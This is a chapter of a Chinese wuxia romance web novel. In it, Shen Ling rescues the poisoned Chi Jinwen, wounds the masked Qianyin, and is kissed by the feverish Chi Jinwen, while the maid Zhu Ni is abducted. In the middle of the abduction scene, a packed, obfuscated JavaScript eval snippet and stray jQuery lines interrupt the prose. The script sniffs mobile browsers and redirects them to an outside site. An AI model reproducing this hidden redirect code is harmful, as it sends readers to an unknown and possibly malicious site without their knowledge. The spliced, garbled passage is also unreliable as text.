59. 灼吻

房内许久都没有应声。


分明方才动静还不小,现在却是连半点声音都听不到了。


有问题。


沈泠蹙着眉,缓缓推开房门。


就在她打开房门的一瞬间,一道黑影从门后倒下来,直直倒在沈泠的身上,沉重的脑袋压在她的肩膀上。


沈泠闷哼一声,伸手想推开身前人,却被那人身上炙热的温度烫得一缩:


“迟锦闻?”


“嗯?”


迟锦闻满脸通红,身上烫得像火烧一般,头上冒着细汗,迷迷糊糊地睁开眼睛:“阿泠……”


他像是脱了力,从沈泠身上滑下去,靠在门檐上阖眸,呼吸灼热。


“你在搞什么?”


沈泠顿下身去,伸手抚上他的额头,被他的温度烫得心惊:“怎么这么烫?!你昨日分明还好好的!”


迟锦闻没回他的话,微微抬眸看着她,笑得有些傻。


“阿泠……”


“你还是关心我的。”


“你在说什么胡话?”


沈泠将追踪散的事情暂时抛到一边,将迟锦闻径直扛到肩上,轻声叹道:“莫不是把脑子烧坏了。”


他方才从药堂里出来,应是来寻祝霓的。


烧成这个样子,若是再不救治,怕是就要烧傻了。


“祝霓?祝霓?”


沈泠往药堂里又唤了几声。


药堂里,祝霓嘴里塞着布,手脚都被捆着,在屏风后面挣扎。


听到沈泠的呼唤声,祝霓焦急地看向门外,一边挣扎一边往外蛄蛹:“唔唔唔——”


沈泠没听到应声,偏头瞧了眼肩上的迟锦闻,足尖一点,消失在药堂外面。


药堂里都是祝霓制的成品药丸和药粉,药效只有祝霓才知道。


现在祝霓不在,她也不能随便给他用些药效不明的药。


得去寻些药材来。


再找个安静的地方,给他好生诊一下脉。


现在这个时辰,寻常药馆应是都打烊了。


依稀记得,扶月楼里的暗室里藏有不少药材。


沈泠扛着迟锦闻,朝着扶月楼的方向飞去。


约莫过了半个时辰,沈泠经过东街附近,又在巷口处看见了熟悉的人。


千银察觉到动静,冷冷抬眸,正好跟瞧过来的沈泠四目相对。


明月清寒,月色溶溶。


沈泠站在房檐上,身上的衣袍被风吹起,上面用银线绣着的暗纹若隐若现。


是麟阙的人。


千银打量了下沈泠衣服上的暗纹和脸上的面具,瞬间便辨认出了她的身份。


“林深?”


相传麟阙两位阁主行踪神秘,且戴有特制的凤凰花面具。


想来这位个子稍矮的,便是那位传说中的林深阁主。


千银偏头,看见沈泠身上扛着的人,轻声笑道:


“林阁主,我还没找你们算帐,你倒是送上门来了。”


根据他的人来报,一直有股暗中势力在查他的踪迹。


再加上麟阙中人先前潜入废宅,他几乎能肯定,麟阙是想调查他的身份,接着对付他。


真是得来全不费工夫。


他还没去找他们呢,今日倒是自己送上门来了。


沈泠转身欲走,千银不知何时出现在她面前。


一道狠辣掌风袭来,带着十足十的力道,直直冲向沈泠肩上的迟锦闻。


沈泠目光一凛,转身躲过攻击,将迟锦闻平放在房檐上。


她抬眸看着千银,目光幽幽,带着丝缕杀气。


迟锦闻现在的状态很不好,不能再拖下去了。


必须速战速决。


沈泠又跟千银打了几个来回,手腕一转,青玉琉璃便从袖中落了出来,稳稳落在她的手上。


千银的目光落在沈泠手中的玉扇上。


传说中林深跟人打斗时,从未用过武器。


他倒是运气好,竟是第一个看到她用武器的。


就在千银等着沈泠来攻击他时,一道利刃隔空飞来。


极为锋利的扇骨裹着内力,速度极快,千银躲闪不及,被卸下来的扇骨直接刺进左肩。


千银有些错愕地看着肩侧。


青色的扇骨染上鲜血,渐渐变得乌黑,放出毒素麻痹着千银的心脏。


玄山青玉?


这东西可不是寻常人能拿到的。


竟然拿这等珍贵之物来做扇子,林深究竟是什么来头?


还未等千银反应,下一瞬,沈泠握着玉扇袭来,攻击千银的另一侧肩膀,同时将他左肩上插着的扇骨拔出来。


千银迅速反应过来,伸手回击。


沈泠展开玉扇挡住千银的掌风,同时挡住千银的视线,另一只手在身侧蓄力,直接朝着他的心口袭去。


千银被打得往后退了数步,心口处传来蚀骨的疼痛。


他半跪在房檐上,猛地吐出一口鲜血,脸上的面具摇摇欲坠,露出半张温润如玉的脸。


若是沈泠此时回一下头,便能发现千银就是她的表兄,白尧礼。


“呵。”


白尧礼唇上染血,双眸泛红,冷冷看着沈泠扛着人消失的背影:“想不到,大名鼎鼎的林深阁主,竟也会偷袭这种小人做派。”


就在这时,几个黑衣人正好从巷中出来,看见上方重伤的白尧礼,纷纷惊愕地愣在原地。


主子的实力深不可测,是何人能伤他如此?


一个戴着腰间别剑的人飞到房檐上,将白尧礼扶了下来,冷声问道:


“主上,可要去追。”


白尧礼擦了下唇上的血,摇了摇头:


“不必。”


“若是那林深藏了埋伏,你们现在过去,定会被麟阙一网打尽。”


他伸手压着心口,殷红的唇瓣勾起一抹妖异的笑,目光阴狠:


“不必急于一时,这笔帐,我迟早要跟他们清算。”


与此同时,药堂内。


祝霓在地上挣扎许久,身上的力气渐渐散尽。


她生无可恋地躺在地上,干脆自暴自弃地阖上了双眸。


算了算了,反正再怎么挣扎都没用,不如先睡一觉,等明早有人发现她。


到时候,她定要去小姐那里好好告一状!!


窗外寒风凌冽,呼啸着撞击着窗框。


祝霓方才折腾得累极了,闭着眼没一会儿就睡着了,呼吸清浅。


窗户一开一合,月光倾泻进来,照到了祝霓的脸上。


她有些不适地蹙了蹙眉,下意识地睁开一点眼睛,往前瞧了一眼。


一道黑影半蹲在她身前,正准备将她扛在身上带走。


见她醒了,黑影忽地轻笑出声:“怎么就醒了呢,真麻烦。”


“不妨事,我能让你——”</


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564418|164597||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


p>


“永远都醒不过来。”


-


扶月楼。


沈泠将迟锦闻带到扶月楼的包厢内,伸手给他把脉。


迟锦闻躺在包厢内的小榻上,体温比方才更烫了,整个人呼出的气都带着股滚烫的热意,额头上不住地冒着汗。


沈泠把着他的脉,眉心紧紧蹙着。


这绝不是普通的风寒发热之类的病症。


这等诡谲的脉象,定是中毒了。


这毒她虽没见过,却也能拆解个七七八八来。


像是寒风引和春日醉的融合,里面好像还有一丝合欢散的痕迹。


寒风引是极普通的毒,中毒者症如风寒,不过叫人难受一点。


但加上这春日醉,便能叫人神思恍惚,周身滚烫,浑身恍若火烧一般,倘若中毒者意志有半分不坚定,哪怕后面解了毒,也会让人变成傻子。


至于合欢散……


是寻常欢好所用,叫人□□焚身,理智全无。虽然药量极少,但也能叫中毒者极为难受。


那人像是格外恶趣味,将三种毒融合在一起,叫人浑身燥热又不得章法,且毒效加倍,中毒后至多三个时辰,便能叫人一命归西。


不过幸好,对她来说并不难解。


“唔……”


迟锦闻迷迷糊糊地睁开眼睛,看见站在榻边的沈泠,痴痴地笑了两声:“你还在这里啊……”


沈泠看着他,心上不忍,伸手摸了摸他的头:


“嗯,我在这里。”


迟锦闻扯住她的裙摆,像个孩子一样蹭了蹭她的手。


他的一双凤眸染着红意,迷糊地睁开一条缝,直直地看着沈泠,带着些执拗:“不要走。”


“迟锦闻,你还能看出来我是谁吗?”


沈泠担心他被烧傻了,伸手在他眼前晃了晃。


“阿泠。”


迟锦闻说得斩钉截铁,明朗的声音带着哑意:“你是阿泠……”


“阿泠,我好难受啊……”


他看着沈泠,被烧得通红的眼眶里蓄着泪水:“你不要走好不好……”


这副样子,真像个在跟姐姐撒娇的孩子。


沈泠看着扯住她裙摆的手,半俯下身,轻声安抚道:


“乖,我先去给你熬药好不好?”


“等喝了药就不难受了。”


“不要!”


迟锦闻不知道哪里来的力气,猛地一扯。


沈泠还没来得及反应,便倒在了他的身上。


迟锦闻翻了个身,将她压在身上,滚烫的唇就那么覆了上去。


窗外明月当空,星子闪烁。


丝缕微风从半开的窗棂处吹进来,将包厢内燃起的红烛吹得摇曳。


打更人的声音自街边由远及近传来,风吹动着窗户,晃动间吱呀作响。


沈泠的耳畔却好像什么都听不见了,只剩下砰砰的心跳声,还有灼热呼吸间的轻声呢喃:“阿泠……阿泠……”


迟锦闻和沈泠离得极近。


近到沈泠只需要浅浅抬眸,便能瞧见他眼底自己的影子。


错愕,震惊。


还带着一丝不易察觉的羞赧。


怎么回事?


分明之前为了躲开千银时,也跟他这般吻过。


但这次怎么就这么……


这么热,这么烫。


烫得她的心尖都在震颤。